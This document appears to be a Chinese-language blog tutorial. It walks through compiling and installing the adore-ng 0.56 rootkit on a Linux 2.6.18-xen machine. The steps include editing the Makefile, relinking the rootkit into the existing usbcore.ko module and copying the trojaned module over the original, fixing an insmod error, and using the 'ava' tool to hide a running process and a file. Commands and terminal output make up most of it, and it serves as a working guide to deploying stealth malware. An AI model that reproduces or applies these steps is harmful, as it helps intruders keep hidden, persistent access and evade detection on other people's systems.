rootkit(1)－adore-ng0.56在Linux2.6应用

自己机器是fc8
#uname -r
2.6.18.8-xen

源码在/home/sploving/xen

1. 下载adore-ng-0.56
2. cp Makefile.2.6 Makefile
并修改相应的项，以适应自己的内核版本。
3. make
4. ./relink
[root@localhost adore-ng-0.56-wztfix]# ./relink26

This script may be used to relink adore into
already existing LKMs on the system. This is the Kernel 2.6
version of 'relink'. Note that -DRELINKED has to be switched on
in the Makefile. Modules compiled with this switch cant work stand alone.

The following LKMs are available:


fuse ipt_MASQUERADE iptable_nat ip_nat bridge
bnep rfcomm l2cap bluetooth autofs4
sunrpc ipt_REJECT iptable_filter ip_tables xt_state
ip_conntrack nfnetlink xt_tcpudp ip6t_ipv6header ip6t_REJECT
ip6table_filter ip6_tables x_tables ipv6 ib_iser
rdma_cm ib_addr ib_cm ib_sa ib_mad
ib_core iscsi_tcp libiscsi scsi_transport_iscsi binfmt_misc
dm_mirror dm_multipath dm_mod snd_hda_intel snd_hda_codec
snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device
snd_pcm_oss snd_mixer_oss tsdev snd_pcm evdev
i2c_i801 usbhid snd_timer pcspkr serio_raw
i2c_core 8250_pci 8250_pnp shpchp snd
8250 parport_pc soundcore pci_hotplug serial_core
parport snd_page_alloc sg sr_mod cdrom
rtc ahci libata sd_mod scsi_mod
ext3 jbd uhci_hcd ohci_hcd ehci_hcd
usbcore

Chose one:
选择一个usbcore
Choice was >>>usbcore<<<
Searching for usbcore.ko ...
Found /lib/modules/2.6.18.8-xen/kernel/drivers/usb/core/usbcore.ko!

Copy trojaned LKM back to original LKM? (y/n)
y

5.insmod  adore-ng-2.6.ko
出现如下错误：
insmod: error inserting 'adore-ng-2.6.o': -1 Invalid module format
问题是内核版本不同。应该是makefiles设置的内核版本不对.
修改makefile 将
KERNEL_SOURCE=/usr/src/kernel/2.6.23.1-42.fc8-i686改为：
KERNEL_SOURCE=/home/sploving/xen/build-linux-2.6.18-xen_x86_32

6. ./ava I
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.

成功安装！下面开始应用此rootkit来隐藏相应的文件。

7.隐藏进程：
[root@localhost adore-ng-0.56-wztfix]# ps
  PID TTY          TIME CMD
 3957 pts/0    00:00:00 su
 3960 pts/0    00:00:00 bash
 5028 pts/0    00:00:00 ps

[root@localhost adore-ng-0.56-wztfix]# ./ava i 3960
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.
Made PID 3960 invisible.

[root@localhost adore-ng-0.56-wztfix]# ps
  PID TTY          TIME CMD
 3957 pts/0    00:00:00 su
8.隐藏文件：
[root@localhost adore-ng-0.56-wztfix]# ls
errors temp
[root@localhost adore-ng-0.56-wztfix]# ./ava h errors
Checking for adore  0.12 or higher ...
Adore 1.56 installed. Good luck.
File 'errors' is now hidden.
[root@localhost adore-ng-0.56-wztfix]# ls
temp